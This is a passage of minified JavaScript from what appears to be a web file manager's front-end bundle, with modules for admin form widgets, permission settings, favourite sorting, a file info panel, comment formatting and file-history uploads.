e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-job select","init":function(){},"selectDataMake":function(t,e,i){var n=this;this.adminModel.cacheRequest("jobList",!1,function(e){n.dataFilter(t,e),i&&i()})},"dataFilter":function(e,t){if(!t.code)return Tips.tips(t);var i=t.data,n=[];for(var a in i){var s=i[a];n.push({"id":s.id,"text":s.name,"info":s})}e.data=n,e.templateResult=function(e){return $(""+e.text+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(22);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-user select").each(function(){var e="userSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"user","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(22);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-userGroup select").each(function(){var e="userGroupSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"all","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var s=i(22),r=function n(e){return e&&e.__esModule?e:{"default":e}}(i(96));t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var a=this;this.$(".form-userSelect").each(function(){var e=$(this);a.bindButtonGroup(e);var t="userSelect_"+roundString(5);a[t]=new s.BaseUserGroup({"parent":a,"selectType":"user","parentGroup":e.attr("data-parentGroup"),"$afterDom":e.find(".user-select-user select")});t="groupSelect_"+roundString(5);a[t]=new s.BaseUserGroup({"parent":a,"selectType":"group","parentGroup":e.attr("data-parentGroup"),"$afterDom":e.find(".user-select-group select")});t="roleSelect_"+roundString(5);var i=e.find(".user-select-role"),n=new r["default"]({"parent":this});n.loadSource(function(){n.selectInit(i.find("select"),i)}),this[t]=n}),e&&e()},"getValue":function(e,n){var a={"all":"0","user":"","group":"","role":""};return n.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type");if("all"!=e){var t=n.find(".user-select-"+e+" select"),i="role"==e?t.val():t.attr("data-value");i=_.isArray(i)?i.join(","):i,a[e]=i}else a[e]="1"}),jsonEncode(a)},"setValue":function(e,t){var i=e.parent(),n=i.find(".btn-group-segment"),a=i.find(".user-select-user select").data("kodView"),s=i.find(".user-select-group select").data("kodView"),r=i.find(".user-select-role select");t=_.isString(t)?jsonDecode(t):t,t=$.extend(!0,{"all":"","user":"","group":"","role":""},t),n.find("[data-type=all]").click(),_.each(t,function(e,t){e&&n.find("[data-type="+t+"]").click()}),a&&a.setValue(t.user),s&&s.setValue(t.group);var o=t.role;o&&_.isString(o)&&r.attr("multiple")&&(o=o.split(",")),r.val(o).trigger("change")},"bindButtonGroup":function(n){var a="btn-active",s=n.find(".btn-group").attr("multiple","multiple"),r=s.find(".btn"),e=n.find("> .setting-content input"),o=_.bind(this.parent.display,this.parent);r.bind("click",function(){var e=$(this).attr("data-type"),t=s.parent().find(".user-select"),i=t.filter(".user-select-"+e);if(!s.attr("multiple")||"all"==e)return r.removeClass(a),$(this).addClass(a),t.each(function(){o($(this),!1)}),void o(i,!0);$(this).toggleClass(a),o(i,!i.is(":visible")),$(this).hasClass(a)?n.find("[data-type=all]").removeClass(a):n.find("."+a).exists()||n.find("[data-type=all]").addClass(a)}),this.setValue(e,e.val())}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this.$(".form-segment .btn-group .btn"),n="btn-active";t.bind("click",function(e){var t=$(this).parents(".setting-content").first(),i=$(this).attr("data-value");t.find("input").val(i).trigger("change"),t.find(".btn").removeClass(n),$(this).addClass(n)}),e&&e()},"setValue":function(e,t){e.parent().find('.btn[data-value="'+t+'"]').click()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=r(i(5)),s=r(i(6));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=(0,s["default"])(a["default"].mark(function o(t){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise([VENDER_PATH+"bootstrap-slider/bootstrap-slider.css",VENDER_PATH+"bootstrap-slider/bootstrap-slider.js"]);case 2:if(this.$el){e.next=4;break}return e.abrupt("return","");case 4:t&&t(),this.$(".form-slider input").slider(),this.bind("onRemove",function(){this.$(".form-slider input").slider("destroy")});case 7:case"end":return e.stop()}},o,this)})),function l(e){return n.apply(this,arguments)}),"setValue":function(e,t){e.slider("setValue",t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var i=this;if(!this.$el)return"";this.tableForm=[],this.$(".form-table input").each(function(){i.renderTableValue($(this)),i.bindSort($(this))}),this.$(".form-table .row-add").bind("click",function(){var e=$(this).parent().children("input");i.rowAdd(e)}),this.$(".form-table").delegate(".list-content .row-action .col-action","click",function(){var e=$(this).parents(".form-table-main").prev(),t=$(this).parents(".list-row");i.rowAction(e,$(this).attr("action"),t.attr("data-index"))}),this.bind("onRemove",function(){this._each(this.tableList,function(e){e.objectRemove()})}),e&&e()},"getFormData":function(e){var t=e.attr("name"),i=$.objClone(this.parent.formData[t]);i.info=_.extend({"removeConfirm":1,"formType":"dialog","canSort":1,"dialog":{}},i.info||{});var n=this.getValue(e,!1,!1);return i.value=jsonDecode(n)||[],i},"bindSort":function(e){var t=this,i=this.getFormData(e),a=$(e.parent().find(".list-content").get(0));a.addClass("table-type-"+i.info.formType),i.info.canSort?(a.dragsort("destroy"),a.dragsort({"dragSelector":".col-drag","dragBetween":!0,"dragEnd":function(){var i=t.getFormData(e).value,n=[];a.find(".list-row").each(function(e){var t=parseInt($(this).attr("data-index"));i[t]&&n.push(i[t]),$(this).attr("data-index",e)}),t.setValue(e,n,!0)}})):a.addClass("can-not-sort")},"renderTableValue":function(i){var n=this.getFormData(i),e=i.parent().find(".list-content");if(e.html(""),this.checkEmpty(i),"dialog"==n.info.formType){if(_.isEmpty(n.value))return;var a="";this._each(n.value,function(e,t){a+=this.renderTableHtmlRow(e,n,t)}),e.html(a)}else this._each(this.tableList,function(e){e.objectRemove()}),this._each(n.value,function(e,t){this.rowAdd(i,e,t)})},"renderTableHtmlRow":function(e,t,i){var n='
    ',a=t.row||t.children;return _.each(a,function(e,t){var i=e.template||(e.key?"{{"+e.key+"}}":"{{"+t+"}}");n+='
    '+i+"
    "}),n=n.substr(0,n.length-6)+'\n\t\t
    \n\t\t\t
    \n\t\t\t
    \n\t\t\t\t{{LNG[\'common.edit\']}}\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t{{LNG[\'common.delete\']}}\n\t\t\t
    \n\t\t
    ',e._index=i,this.renderHtml(n,e,!1)},"rowAction":function(n,e,a){var s=this,r=this.getFormData(n);if("edit"!=e){var o=function o(){var e=n.parent().find(".form-table-main .list-content"),t=e.find(".list-row[data-index="+a+"]");if(r.value[parseInt(a)]=!1,r.value=_.filter(r.value),"inline"==r.info.formType){var i=t.data("kodView");i&&i.objectRemove()}t.remove(),e.find("> .list-row").each(function(e){$(this).attr("data-index",e)}),s.setValue(n,r.value,!0)};r.info.removeConfirm?$.dialog.confirm(LNG["common.ifDel"],o,!1,LNG["common.delete"]):o()}else{var t=r.value[parseInt(a)]||{};this.rowAdd(n,t,a)}},"rowAdd":function(e,t,i){var n=this.getFormData(e);_.each(t,function(e,t){n.children[t]&&(n.children[t].value=e)});var a=!t;"dialog"==n.info.formType?this.rowAddDialog(e,n,a,i):this.rowAddInline(e,n,a)},"rowAddDialog":function(r,o,l,c){var d=this,e=_.get(o,"info.dialog.titleAdd",LNG["common.add"]),t=_.get(o,"info.dialog.icoAdd",'');l||(e=_.get(o,"info.dialog.titleEdit",LNG["common.edit"]),t=_.get(o,"info.dialog.icoEdit",''));var i=new kodApi.formMaker({"parent":this,"formData":o.children}),n={"id":"form-row-"+r.attr("name"),"title":e,"ico":t,"width":600,"height":500,"okVal":LNG["common.save"]};_.extend(n,o.info.dialog),i.renderDialog(n,function(e){var t=o.value,i=r.parent().find(".form-table-main .list-content");if(l){t.push(e);var n=i.find(".list-row").length,a=d.renderTableHtmlRow(e,o,n);$(a).appendTo(i)}else{t[c]=e;var s=i.find(".list-row[data-index="+c+"]");a=d.renderTableHtmlRow(e,o,c);$(a).insertBefore(s),s.remove()}d.setValue(r,t,!0)})},"rowAddInline":function(e,t,i){var n=e.parent().find(".list-content"),a=new kodApi.formMaker({"parent":this,"formData":t.children}),s=$("
    ").appendTo(n);a.renderTarget(s);var r=n.children(".list-row").length,o=a.$el;a.$(".panel-form-body").children().appendTo(a.$el),a.$(".panel-form-body").remove(),o.find(".form-target-save").remove(),o.attr("data-index",r),o.insertAfter(s).addClass("list-row"),s.remove(),a.$el=o;var l='\n\t\t
    \n\t\t\t
    \n\t\t\t
    \n\t\t\t\t'+LNG["common.edit"]+'\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t'+LNG["common.delete"]+"\n\t\t\t
    \n\t\t
    ",c=a.$el.find(".form-row").last();c.addClass("row-action-parent"),$(l).appendTo(c),this.tableForm.push(a),i&&(t.value.push(a.getValue()),this.setValue(e,t.value,!0))},"getValue":function(e,t,i){var n=this.parent.formData[e.attr("name")],a=e.val();if(a="[]"==a?"":a,"inline"==_.get(n,"info.formType")){var s=[];e.parent().find(".form-table-main .list-row").each(function(){var e=$(this).data("kodView");e&&s.push(e.getValue(!1,i))}),s=_.filter(s),_.isEmpty(s)||(a=jsonEncode(s))}return a},"checkEmpty":function(e){var t=e.parent().find(".list-row-empty");e.val()?t.addClass("hidden"):t.removeClass("hidden")},"setValue":function(e,t,i){t="[]"==(t=_.isString(t)?t:jsonEncode(t))?"":t,e.val(t).trigger("change"),this.checkEmpty(e),i||this.renderTableValue(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-tags select","selectDataMake":function(e,t,i){e.tags=!0,e.multiple=!0,e.closeOnSelect=!1,i()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.SOURCE_TYPE={"user":1,"group":2}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=".setting-page .setting-main .setting-main-content .panel-body",a=".admin-page .admin-main .admin-main-content .panel-body",s="{pointer-events: none;opacity:0.5 !important;}",r={"user.edit":"\n\t\t"+n+".account-page a "+s+"\n\t\t.setting-page .setting-menu-left .user-head-img,\n\t\t"+n+".account-page .acc-row{pointer-events:none;}\n\t","admin.role.edit":"\n\t\t"+a+".role-page .toolbar .left button "+s+"\n\t\t"+a+".role-page .list-table .list-row .setting "+s+"\n\t","admin.job.edit":"\n\t\t"+a+".job-page .left button "+s+"\n\t\t"+a+".job-page .list-table .list-row .setting "+s+"\n\t","admin.member.userEdit":"","admin.member.groupEdit":"","admin.auth.edit":"\n\t\t"+a+".auth-page .left button "+s+"\n\t\t"+a+".auth-page .list-table .list-row .setting "+s+"\n\t","admin.plugin.edit":"\n\t\t"+a+".plugin-page .app-content .action.btn-group "+s+"\n\t\t"+a+".plugin-page .app-descript .action.btn-group "+s+"\n\t","admin.storage.edit":"\n\t\t"+a+".storage-page .app-content .action.btn-group "+s+"\n\t","admin.autoTask.edit":"\n\t\t"+a+".task-page .left button "+s+"\n\t\t"+a+".task-page .list-table .list-row .setting "+s+"\n\t"};t["default"]=r},function(e,t,i){"use strict";var r=i(0);e.exports=function(e){e=e||{};var i="",t=r.$each,n=e.list,a=(e.item,e.$index,e.fileList),s=r.$escape;return t(n,function(e,t){i+='
    ',i+=s(e.name),i+="
    "}),i}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.ioPath=G.io.KOD_USER_FAV+"/",this.dragFlag="bind-drag-sort-fav",this._delay(this.bindNotify)},"bindNotify":function(){this.root.header&&this.root.tree&&(this.listenTo(this.root.path,"list.renderAfter",this.bindFileList),this.listenTo(this.root.tree,"initAfter",function(){this.bindTree(this.ioPath)}),this.listenTo(this.root.tree.treeView,"loadAfter",this.bindTree),this.listenTo(this.root.tree.treeView,"switchChange",function(e){e&&e.open&&e.path==this.ioPath&&this.bindTree(this.ioPath)}))},"bindFileList":function(){var t=this,e=this.root.path.currentPath,i=this.$root.find(".file-continer");if("split"==this.userModel.getOption("listType")){i.dragsort("destroy"),i.removeClass(this.dragFlag);var n='[data-path="'+hashEncode(this.ioPath)+'"]',a=i=this.$root.find(".split-box").filter(n);if(0==a.length)return;i=a.children(".content")}else if(_.trim(e,"/")+"/"!=this.ioPath)return void(i.hasClass(this.dragFlag)&&(i.dragsort("destroy"),i.removeClass(this.dragFlag)));i.addClass(this.dragFlag),i.dragsort("destroy"),i.dragsort({"dragSelector":".file","dragBetween":!0,"dragCursor":"","placeHolderTemplate":"
    ","dragStart":function(e,t){if($.targetParent(t,".children-list"))return!1},"dragEnd":function(){var e=$(this).parent().children(".file");t.resetSort(e)}})},"bindTree":function(e){if(_.trim(e,"/")+"/"==this.ioPath){var t=this.root.tree.zTree.getNodesByParam("path",this.ioPath),i=!1;if(!t)return!1;if(_.each(t,function(e){_.trim(e.pathFather,"/")+"/"!=G.io.KOD_USER_FAV&&(i=e)}),i&&i.$node){var n=$("#"+i.$node.next().attr("id")),a=this;0!=n.length&&(n.hasClass(this.dragFlag)||(n.addClass(this.dragFlag),n.dragsort("destroy"),n.dragsort({"dragSelector":".tree-node","dragBetween":!0,"dragCursor":"","placeHolderTemplate":"
  • ","dragStart":function(e,t){var i=$.targetParent(t,".tree-node");if(!i||!i.parent().parent().is(n))return!1},"dragEnd":function(){var e=$(this).parent().children("li").children(".tree-node");a.resetSort(e)}})))}}},"resetSort":function(e){var i=[];e.each(function(){var e=$(this),t=e.data("fileItem")||e.data("treeNode");i.push(_.get(t,"sourceInfo.favID"))});var t=this.ioPath;i=_.filter(i).join(","),this.pathModel.favResetSort({"favList":i},function(){Events.trigger("path.pathChange",t)})}})},function(e,t,i){"use strict";var r=i(0);e.exports=function(e){var t="",i=(e=e||{}).i,n=r.$escape,a=e.item,s=e.LNG;return t+='
    ',t+=a.viewUserInfo,t+='
    ',t+=a.viewTitle,t+='
    ',t+=a.viewCurrent,t+='
    ',t+=a.viewPercentInfo,t+='
    ',t+=n(s["common.task.timeStart"]),t+="",t+=a.viewStartTime,t+='',t+=n(s["common.task.timeUse"]),t+="",t+=a.viewUseTime,t+='',t+=n(s["common.task.timeNeed"]),t+="",t+=a.viewNeedTime,t+='
    ',t+=n(s["common.task.running"]),t+='',t+=n(s["common.task.stoping"]),t+='',t+=n(s["common.task.killing"]),t+='
    ","resizeCallback":function(){e.$(".tab-group-line .tab-item.active").tabCurrent(),e.$(".perfectScroll").perfectScroll()},"close":function(){e.objectRemove()}});var o=this.dialog.$main;this.open=!0,this.$main=o.find(".file-panel"),this.$el=this.$main,this.dialog.kodView=this,o.data("kodView",this),o.data("root",this.root);var l="+="+10*$(".artDialog.dialog-file-panel").length+"px";this._delay(function(){o.css({"left":l,"top":l})}),this.initView(),this.bindEvent(),this.reloadView(),this.pathInfo(function(){this.reloadView()}),this.dialog.position("50%","40%"),this.bind("onRemove",function(){this.pathInfoAjax&&this.pathInfoAjax.abort(),this.dialog&&this.dialog.close()}),$.contextMenu.clickBind(this.$main,".menu-left-click,.menu-trigger")},"bindEvent":function(){var e=this.dialog.$main;if(this.bind("tabChange",function(){this.$main.find(".perfectScroll").perfectScroll(),e.hasClass("dialog-max")||e.css({"width":"auto","min-width":"auto"})}),1==this.listData.length){var t=this.listData[0];this.listenTo(this.root.pathAction,"pathChangeNotify",function(e){e==t.path&&this._delay(function(){this.pathInfo(this.reloadView)},10)}),this._delay(function(){this.$('.dialog-tab [tab-name="'+this.selectTab+'"]').tabCurrent()},200)}},"pathInfo":function(i){var n={"dataArr":[]},a=this,s=$.objClone(this.listData);if(this._each(this.listData,function(e){var t={"path":e.path};this.infoSimple&&(t["type"]="simple"),n.dataArr.push(t),e.sourceInfo={},e.metaInfo={},delete e._itemDataBefore}),!this.infoSimple){var e=LNG["common.detail"]+LNG["explorer.getting"];this.tipsLoading=Tips.loadingMask(this.$(".panel-info"),e)}this.infoSimple=!0,this.pathInfoAjax&&this.pathInfoAjax.abort(),this.pathInfoAjax=this.pathModel.pathInfo(n,function(e){if(a.tipsLoading&&a.tipsLoading.close(),a.tipsLoading=!1,e&&e.code){var t=_.isArray(e.data)?e.data:[e.data];a.listData=$.extend(!0,a.listData,t),this._each(a.listData,function(e,t){e.downloadPath=_.get(s[t],"downloadPath",e.downloadPath)}),jsonEncode(s)==jsonEncode(a.listData)||i&&i.apply(a,a.listData)}})},"rootSelector":function(){return"."+this.dialog.config.id},"display":function(){},"bindResize":function(){}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=d(i(403)),a=d(i(411)),s=d(i(162)),r=d(i(415)),o=d(i(417)),l=d(i(423)),c=d(i(163));function d(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.selectTab="panel-info",this.bindEventInit(),this.changeTabEventNow=this.changeTabEvent,this.changeTabEvent=_.debounce(_.bind(this.changeTabEvent,this),20),this.historyBindFile=new s["default"]({"parent":this}),this._delay(function(){this.historyBindFile.bindFileMenu()},100)},"bindEventInit":function(){var e=this;this.panelSave=!($.isWindowSmall()||"explorerDialog"==this.root.viewType),this.open="1"==this.userModel.getOption("filePanel"),this.open=!!this.panelSave&&this.open,this.$main=this.$(".file-panel"),this.$main.find(".panel-tab-content").addClass("tab-animate-fade"),this.$(".panel-toggle").bind("click",function(){e.open=!$(this).hasClass("active"),e.panelSave&&e.userModel.setOption("filePanel",Number(e.open)),e.display()}),this.listenTo(this.parent.select,{"select.change":function(){"1"==this.userModel.getOption("filePanel")&&(this.displayFirst||(this.display(),this.displayFirst=!0),this.reloadData())}})},"initView":function(){var e=i(426);this.renderHtml(e,!1,this.$main),this.viewChat=new n["default"]({"parent":this}),this.viewHistory=new a["default"]({"parent":this}),this.viewLog=new r["default"]({"parent":this}),this.viewInfo=new o["default"]({"parent":this}),this.viewAuth=new c["default"]({"parent":this}),this.viewMeta=new l["default"]({"parent":this}),this.bindEventView(),this.bindResize()},"rootSelector":function(){return this.root.rootSelector()},"bindEventView":function(){var t=this;this.$main.children(".tab-group-line").find(".tab-item").bind("click",function(e){t.selectTab=$(this).attr("tab-name"),t.changeTab(t.selectTab,!0)}),this.$(".panel-close").bind("click",function(e){t.$(".panel-toggle").trigger("click")})},"bindResize":function(){var t="explorerPanelWidth";this.resize=this.$main.dragResize({"size":{"init":300,"min":285,"max":600},"className":"drag-resize-panel","orgin":"x","viewBefore":!1,"storeValue":function(e){return _.isUndefined(e)?this.userModel.getOptionResize(t)||300:this.userModel.setOptionResize(t,e)},"onChange":function(e,t){this.root.trigger("file.continer.resize"),t&&(this.$(".tab-group-line .tab-item.active").tabCurrent(),this.$main.find(".perfectScroll").perfectScroll())}},this)},"display":function(){this.initViewFirst||(this.initViewFirst=!0,this.initView());var e=this.$main.parent(),t=this.$(".panel-toggle"),i=this.$(".file-continer");i.css("width",i.width()),this._delay(function(){i.css("width","inherit"),this.root.trigger("file.continer.resize")},300),this.open?(this.$main.removeClass("hidden"),t.addClass("active"),e.addClass("panel-open"),this.reloadData(),this.resize.sizeChange(),this.$main.css("right",0)):(this.selectTab="panel-info",t.removeClass("active"),e.removeClass("panel-open"),e.find(".bodymain").css("right",0),e.find(".drag-resize-panel").css("right",0),this.$main.css("right",-1-this.$main.width())),this.root.trigger("file.continer.resize")},"reloadData":function(){if(this.open){this.listData=this.root.pathAction.makeParamSelect();var e=this.root.path.jsonData;_.isEmpty(e)||(_.isEmpty(this.listData)&&(this.listData=[e.current]),this.reloadView())}},"reloadView":function(){var t=this.$main.children(".tab-group-line"),e=this.listData,i=this.root.pathAction.auth;if(1"+e+""),i={};if(1<=t.find(".comment-text").length){var n="";t.find(".comment-text").each(function(){n+=$(this).prop("outerHTML")+"
    "}),t=$(""+n+"")}t.find("[data-node]").each(function(){var e=$(this);switch(e.attr("data-node")){case"text":var t=e.attr("title");$(""+t+"").insertBefore(e);break;case"markdown":if(!(t=(t=e.attr("data-markdown"))?base64Decode(t):e.textGet()))break;$("[markdown]"+t+"[/markdown]").insertBefore(e);break;case"param":i[e.attr("data-key")]=e.attr("data-value")}}),t.find("[data-node]").remove(),t.find("img").each(function(){var e="[@base64:"+base64Encode($(this).prop("outerHTML"))+"@]";$(""+e+"").insertBefore($(this))}),t.find("img").remove();var a=t.textGet();return a=this.domDecode(a)},"imageEncode":function(e){var t=/|\/>)/gi;return e&&-1!=e.search(t)?e.replace(t,function(e,t){return"[@base64:"+base64Encode(e)+"@]"}):e},"markdownEncode":function(e){var n=this,t=/\[markdown\]([\n\w\s\S\W]*)\[\/markdown\]/g;return e&&-1!=e.search(t)&&n.markdownParse?e.replace(t,function(e,t){var i=n.markdownParse(t);return i="
    "+i+"
    ","[@base64:"+base64Encode(i)+"@]"}):e},"markdownEncodeEditor":function(e){var n=this,t=/\[markdown\]([\n\w\s\S\W]*)\[\/markdown\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){var i=n.encodeSpace(htmlEncode(t));return i="
    "+i+"
    ","[@base64:"+base64Encode(i)+"@]"}):e},"autoLink":function(e,t){t=t||"";return e.replace(/(^|[\s\n]|<[A-Za-z]*\/?>)((?:https?|ftp):\/\/[\-A-Z0-9+\u0026\u2019@#\/%?=()~_|!:,.;]*[\-A-Z0-9+\u0026@#\/%=~()_|])/gi,function(e){return"[@base64:"+base64Encode(""+e+"")+"@]"})},"domDecode":function(e){return e.replace(/\[@base64:([\w\/\+\=]*)@\]/g,function(e,t){return base64Decode(t)})},"encodeSpace":function(e){return e=(e=(e=(e=(e=e.replace(/\r\n/g,"
    ")).replace(/\n/g,"
    ")).replace(/\r/g,"
    ")).replace(/ /g," ")).replace(/\t/g,"    ")},"encodeHtml":function(e){return e=this.imageEncode(e),e=this.encodeSpace(e),e=this.domDecode(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"license-step-002":"

    "+LNG["common.copyright.logoTitle"]+"

    ","systemNameType":{"display":LNG["common.copyright.formLogo"],"type":"segment","className":" license-auto-show ","value":G.system.options.systemNameType,"info":{"text":""+LNG["common.copyright.formLogoTypeWord"],"image":""+LNG["common.copyright.formLogoTypeImage"]},"switchItem":{"image":"systemLogo"},"desc":LNG["common.copyright.formLogoDesc"]+'. '+LNG["common.test"]+""},"systemLogo":{"type":"fileSelect","display":LNG["common.copyright.formLogoImage"],"className":" license-auto-show ","value":G.system.options.systemLogo,"info":{"single":"1","type":"file","makeUrl":"1","pathOpen":"./static/images/common/","valueKey":"downloadPath","allowExt":"png|jpg|gif|jpeg|ico|svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]},"desc":LNG["common.copyright.formLogoImageDesc"]},"systemLogoMenu":{"type":"fileSelect","display":LNG["common.copyright.formLogoMain"],"className":" license-auto-show ","value":G.system.options.systemLogoMenu,"info":{"single":"1","type":"file","makeUrl":"1","pathOpen":"./static/images/common/","valueKey":"downloadPath","allowExt":"png|jpg|gif|jpeg|ico|svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]},"desc":LNG["common.copyright.formLogoMainDesc"]},"license-step-004":"

    "+LNG["common.copyright.formPowerByInfo"]+"

    ","common.copyright.powerBy":{"type":"input","display":LNG["common.copyright.formPowerBy"],"value":LNG["common.copyright.powerBy"],"className":" license-auto-show "},"common.copyright.homepage":{"type":"input","display":LNG["common.copyright.formHomePage"],"value":LNG["common.copyright.homepage"],"className":" license-auto-show "},"common.copyright.contact":{"type":"input","display":LNG["common.copyright.formConcat"],"value":LNG["common.copyright.contact"],"className":" license-auto-show "},"common.copyright.desc":{"type":"textarea","display":LNG["common.copyright.formDesc"],"value":LNG["common.copyright.desc"],"desc":LNG["common.copyright.formDescTips"],"className":" license-auto-show "},"common.copyright.metaKeywords":{"type":"input","display":LNG["common.copyright.formMetaKeywords"],"value":LNG["common.copyright.metaKeywords"],"className":" license-auto-show hidden"},"common.copyright.metaName":{"type":"input","display":LNG["common.copyright.formMetaName"],"value":LNG["common.copyright.metaName"],"className":" license-auto-show hidden"}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"bindFileMenu":function(){this.pathAction=this.root.pathAction,this.listenTo(this.root.rightMenu,{"rightMenu.beforeShow":this.menuShow})},"menuShow":function(e){if(_.includes([".menu-path-file",".menu-simple-file",".menu-path-mini-file",".menu-path-guest-file",".menu-share-root-file"],e.menuType)){this.menuAppend(e);var t=this.pathAction.makeParamItem(),i=_.get(t,"sourceID")&&this.pathAction.auth.canWrite(e.$target)?"menuItemShow":"menuItemHide";$.contextMenu[i](e,"file-history"),$.contextMenu[i](e,"file-history-replace")}},"menuAppend":function(e){if(!e.extendFileHistory){var n=this,t={"file-history":{"name":LNG["explorer.history.list"],"className":"hidden ","icon":"ri-history-line","callback":function(e,t){var i=n.pathAction.makeParamItem();n.pathAction.pathInfo(i,"history")}}},i={"file-history-replace":{"name":LNG["explorer.history.uploadNew"],"className":"hidden ","icon":"ri-upload-fill-2","callback":function(e,t){var i=n.pathAction.makeParamItem();n.uploadNewVersion(i)}}};$.contextMenu.menuAdd(t,e,!1,".more-action"),$.contextMenu.menuAdd(i,e,!1,".fav-add"),e.extendFileHistory=!0}},"uploadNewVersion":function(e){var t=this.root.pathAction,i={"uploadApi":this.pathModel.urlMake("upload"),"uploadTo":t.pathFather(e),"single":!0,"postParam":{"fileRepeat":"replace","name":e.name},"config":_.extend({"accept":{"title":LNG["explorer.history.uploadNew"],"extensions":e.ext,"mimeTypes":"."+e.ext}},_.clone(G.system.settings.upload))},n=t.uploadWithParam(i);return this.listenToOnce(n,{"itemUploadSuccess":function(){t.pathChangeNotify(e.path),Events.trigger("explorer.panel.history.change",e.path)}}),n}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=n(i(2)),o=n(i(425)),l=i(153);function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.$el=this.$(".tab-group-pan .panel-auth"),this.pathInfo={},this.listenTo(this.parent,"tabChange.panel-auth",this.reloadView),this.bindNotify()},"bindNotify":function(){var n=this;Events.bind("explorer.panel.auth.change",function(e,t){if(t!=n){var i=n.pathInfo;_.get(i,"path")==e&&(n.pathInfo={},n.reloadView(i))}},this)},"reloadView":function(t){if(this.pathInfo.path!=t.path){this.pathInfo=t;var i=this,e={"path":t.path,"action":"getData"},n=Tips.loadingMask(this.$el,!1,.2);this.$(".panel-content").html(""),this.form&&this.form.objectRemove(),this.pathModel.setAuth(e,function(e){if(n.close(),!e.code)return Tips.tips(e,"warning");i.initFormView(t,e.data,i.$(".panel-content"))})}},"initFormView":function(e,t,i){var n=(0,o["default"])().base,a=e.targetID;"1"!=(n.auth.attr["data-parentGroup"]=a)&&(n.auth.attr["data-rootParam"]="appendRootGroup");var s=this.authParseResponse(t);n.authSelf.value=_.get(e,"auth.authInfo.id"),s.allAuth&&(n.allAuthType.value="set",n.allAuth.value=s.allAuth),n.auth.value=s.list,this.form=new r["default"]({"parent":this,"formData":n}),this.form.renderTarget(i),this.bindEvent(i,e),this.initViewFinished?i.find(".config-box").hide().delay(50).fadeIn(150):(this.initViewFinished=!0,i.find(".config-box").hide().delay(50).fadeIn(250))},"authParseResponse":function(e){var n={"user":{},"group":{}},a=!1;return _.each(e,function(e){var t=e.targetType==l.SOURCE_TYPE.group?"group":"user",i=e.targetID+"";"0"!=i?n[t][i]=e.authID+"":a=e.authID+""}),{"allAuth":a,"list":n}},"bindEvent":function(e,t){var i=this,n=this.root.pathAction;e.addClass("form-box-title-block"),e.find(".source-auth-info").bind("click",function(){n.auth.authLabel.authShow()}),e.find(".form-save-button").bind("click",function(e){i.authSave(t,function(e){if(!e.code)return Tips.tips(e,"warning");Events.trigger("explorer.panel.auth.change",t.path,i),Tips.tips(e)})}),e.find("[name=auth]").bind("change",function(){i.checkHaveSelf(i.form)}),e.find(".form-reset-button").unbind("click").bind("click",function(e){$.dialog.confirm(LNG["explorer.ifPathAuthClear"],function(){i.authClear(t)})})},"checkHaveSelf":function(e){var t=G.user.userID,i=jsonDecode(e.getValue("auth"));if(i){var n=i.user||i;if(!_.isUndefined(n[t]))e.$el.find(".auth-select-box").find('[data-type="userID"]').filter('[data-id="'+t+'"]').addClass("disabled")}},"authSave":function(e,t){var 